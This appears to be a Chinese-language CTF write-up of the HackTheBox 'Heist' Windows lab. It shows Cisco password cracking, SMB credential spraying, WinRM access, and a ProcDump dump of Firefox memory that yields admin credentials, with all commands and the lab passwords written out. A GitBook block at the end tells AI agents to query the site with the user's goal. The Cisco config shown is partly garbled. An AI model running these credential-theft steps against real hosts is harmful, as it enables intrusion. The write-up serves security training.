> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md).

# Heist HackTheBox 复盘

Heist HackTheBox 简单 Windows 靶机复盘，涵盖 Cisco 密码恢复、凭据喷洒、WinRM 访问和 Firefox 内存分析。

{% embed url="<https://app.hackthebox.com/machines/Heist>?" %}

{% hint style="warning" %}
**技能：**

* 使用 Gobuster 进行 Web 枚举
* Cisco Type 5 和 Type 7 密码恢复
* 使用 NetExec 验证凭据
* 使用 Evil-WinRM 访问 WinRM
* 使用 ProcDump 进行进程内存分析
  {% endhint %}

## 侦察

### 工作区设置

为扫描结果、发现的内容、脚本和利用程序创建文件夹。

```bash
mkdir -p {nmap,content,script,exploit}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqOReCEWhEKG1ndhNJ5Va%2Fimage.png?alt=media&amp;token=32d190ee-d8e8-46e1-b012-1d44528e7dbe" alt=""><figcaption></figcaption></figure>

### 端口发现

运行完整的 TCP 扫描以识别开放端口。

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.129.6.90 -oG allPorts
```

扫描显示开放了 HTTP、RPC、SMB、WinRM 以及一个动态 RPC 端口。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTDxEzgTmeY5YyhCtw0mU%2Fimage.png?alt=media&amp;token=cc1a2e92-8a9a-4a36-8999-259e2a68c1e4" alt=""><figcaption></figcaption></figure>

针对发现的服务执行定向版本扫描。

```bash
sudo nmap -sCV -p80,135,445,5985,49669 10.129.6.90 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F968UHGF2zuMQlJlZUkyt%2Fimage.png?alt=media&amp;token=43483bbd-0748-4ddf-ab72-ab21f3f43174" alt=""><figcaption></figcaption></figure>

### Web 枚举

端口 `80` 托管一个登录面板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5FbkbNLYItvfN1LZlSsh%2Fimage.png?alt=media&amp;token=c9b42b08-4f60-404d-b551-21148d20b387" alt=""><figcaption></figcaption></figure>

使用 Gobuster 枚举 PHP 端点。

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.6.90/ -x php -t 100
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FzTbrsan32JX09wf9806o%2Fimage.png?alt=media&amp;token=6a19af0c-ac63-46fa-b817-a7115408ebcf" alt=""><figcaption></figcaption></figure>

扫描发现了以下页面，包括 `issues.php`, `login.php`，以及 `attachments.php`.

该 `issues.php` 该页面包含一张从 Hazard 发给 Support 的工单，其中提到了一个有问题的 Cisco 配置。

该工单还暴露了 `hazard` 和 `support` 用户名。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJ7HcCtW5mtxtvjOd0c5T%2Fimage.png?alt=media&amp;token=a0a52ebd-f196-4762-b3a9-7668607d256b" alt=""><figcaption></figcaption></figure>

附件包含 Cisco 配置。

```wasm
版本 12.2
不启用 service pad
启用 service password-encryption
!
isdn switch-type basic-5ess
!
主机名 ios-1
!
密码最小长度 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh 认证重试 5
ip ssh 版本 2
!
!
router bgp 100
 同步
 记录 BGP 邻居变化
 BGP 抑制
 network 192.168.0.0Â mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
!
无类别 IP
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 60002375012182C1A1D751618034F36415408
 authorization exec SSH
 transport input ssh
```

配置中包含一个 `enable secret` 哈希和两个 Cisco Type 7 密码。

```bash
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
```

破解 Type 5 哈希可恢复 `stealth1agent`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F90GdxEAtIo4EhDpvv1RX%2Fimage.png?alt=media&amp;token=1d4fc4a2-4ae8-4397-9b0d-b22767224f20" alt=""><figcaption></figcaption></figure>

使用 SMB 验证恢复的密码。它适用于 `hazard`.

```bash
nxc smb 10.129.6.90 -u 'hazard' -p 'stealth1agent' --shares
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fn285M7xlJvIBZ5SPnECb%2Fimage.png?alt=media&amp;token=315340c7-c09f-4ce7-8498-cb052ac40be8" alt=""><figcaption></figcaption></figure>

尝试使用相同凭据建立 WinRM 会话。

```wasm
evil-winrm -u "hazard" -p "stealth1agent" -i "10.129.6.90"
```

连接失败，因为 `hazard` 没有 WinRM 访问权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMleSVT0Ekh8n0I0AoHQ2%2Fimage.png?alt=media&amp;token=f9117b8d-e12e-4cd0-8d9c-eecc7941106f" alt=""><figcaption></figcaption></figure>

### 用户枚举

使用 RID 暴力破解枚举本地用户。

{% code overflow="wrap" %}

```bash
netexec smb 10.129.6.90 -u "hazard" -p "stealth1agent" --rid-brute
```

{% endcode %}

返回了以下用户：

* Hazard
* Support
* Chase
* Jason

### Cisco Type 7 密码恢复

从配置中恢复剩余的加密密码。

```
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
```

使用 Cisco Type 7 解码器解密这两个值。

{% embed url="<https://password7decrypt.com/>" %}

解密后的密码是：

* $uperP\@ssword
* Q4)sJu\Y8qz\*A3?d

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIyABMXOegMlexSK0yz76%2Fimage.png?alt=media&amp;token=0c220856-be96-42e4-84d9-c0109a14488b" alt=""><figcaption></figcaption></figure>

创建候选用户列表。

{% code overflow="wrap" %}

```bash
Support
Chase
Jason
```

{% endcode %}

创建密码列表。

{% code overflow="wrap" %}

```bash
$uperP@ssword
Q4)sJu\Y8qz*A3?d
```

{% endcode %}

通过 SMB 测试每个用户和密码组合。

{% code overflow="wrap" %}

```bash
nxc smb 10.129.6.90 -u users.txt -p passwords.txt
```

{% endcode %}

结果确定了以下有效凭据： `Chase`:

* Chase
* Q4)sJu\Y8qz\*A3?d

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJB189NXsItpBWQk4fd0v%2Fimage.png?alt=media&amp;token=815230a0-48f6-44aa-9ff7-6c5a45810a82" alt=""><figcaption></figcaption></figure>

### 初始访问

以 `Chase` 通过 WinRM。

{% code overflow="wrap" %}

```bash
evil-winrm -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d' -i "10.129.6.90" 
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7lK9eyN5QyDVSqlKad9g%2Fimage.png?alt=media&amp;token=7dfd10fd-7349-429a-89b1-134b208f1836" alt=""><figcaption></figcaption></figure>

获取用户 flag。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFjCKbM9nIriJB46D3RJR%2Fimage.png?alt=media&amp;token=85396242-14ec-4140-8d0e-10a3f7515b0b" alt=""><figcaption></figcaption></figure>

### 权限提升

运行 `ps` 并注意到 Firefox 正在运行。

```bash
ps
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FA1n0IQYvFJDHTKeI45Bj%2Fimage.png?alt=media&amp;token=3c1c5b27-2c9e-4bca-8999-4f564dcfc498" alt=""><figcaption></figcaption></figure>

活动的浏览器进程可能在内存中包含凭据。

使用 ProcDump 捕获 Firefox 进程内存。

```bash
wget https://download.sysinternals.com/files/Procdump.zip
```

{% embed url="<https://download.sysinternals.com/files/Procdump.zip>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FK9dIEMH7NwfRv0uXzTQw%2Fimage.png?alt=media&amp;token=fc2ea817-b35e-4d5a-ac9f-648536e69d14" alt=""><figcaption></figcaption></figure>

上传 `procdump64.exe` 到目标主机。

```bash
upload /workspace/procdump64.exe
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FrrR4IPuXshaoDHvkE5TE%2Fimage.png?alt=media&amp;token=ae2dadfe-73ac-4f32-97ed-70ded6084c41" alt=""><figcaption></figcaption></figure>

转储 Firefox 进程。

```bash
.\procdump64.exe -accepteula -ma 3092 firefox_debug.dmp
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fj7MIwvhHL3g6e8ZAhsD3%2Fimage.png?alt=media&amp;token=6c4edb8f-4431-4ee1-87a7-a4e550af1a41" alt=""><figcaption></figcaption></figure>

下载内存转储以便本地分析。

```bash
download "C:/Users/Chase/Documents/firefox_debug.dmp" /workspace/firefox_debug.dmp
```

由于转储文件很大，下载需要一些时间。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2ForgiFCaXh6mYpsIdnQTS%2Fimage.png?alt=media&amp;token=88dd588f-b1dd-4d87-b8cb-0d25bd7b283e" alt=""><figcaption></figcaption></figure>

与其等待完整检查，不如在转储字符串中搜索与密码相关的值。

```bash
strings firefox_debug.dmp | grep password
```

这会暴露管理员账户的凭据。

```bash
admin@support.htb&login_password=4dD!5}x/re8]FBuZ
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIlZxA9b4YhR1qllYqwZ2%2Fimage.png?alt=media&amp;token=844b6a38-e9a0-4bed-9ea5-ceb40af9f34c" alt=""><figcaption></figcaption></figure>

使用 SMB 验证恢复的密码。

```bash
nxc smb 10.129.6.90 -u "Administrator" -p "4dD!5}x/re8]FBuZ"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6DnvAaLKt2G1Bjh4LE8z%2Fimage.png?alt=media&amp;token=07448459-f99c-4dda-a820-2ef39fe6fdcc" alt=""><figcaption></figcaption></figure>

### 管理员访问权限

使用 `Administrator`.

{% code overflow="wrap" %}

```bash
evil-winrm -i '10.129.6.90' -u 'Administrator' -p '4dD!5}x/re8]FBuZ'
```

{% endcode %}

该会话具有管理员权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcjDMzpXiD8bk1FuxlBJC%2Fimage.png?alt=media&amp;token=cd3ac9fe-9aee-4266-b119-9d4df5c92395" alt=""><figcaption></figcaption></figure>

获取 root flag。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FSJovMcUzgzs1WJlTjhJX%2Fimage.png?alt=media&amp;token=5ffdbdd9-23d8-46fb-b9d9-440592279fb6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FoSJc7djp77KQv3iVHfil%2Fimage.png?alt=media&amp;token=2745d3ae-80c5-4f0e-84ad-70840d7944da" alt="" width="546"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
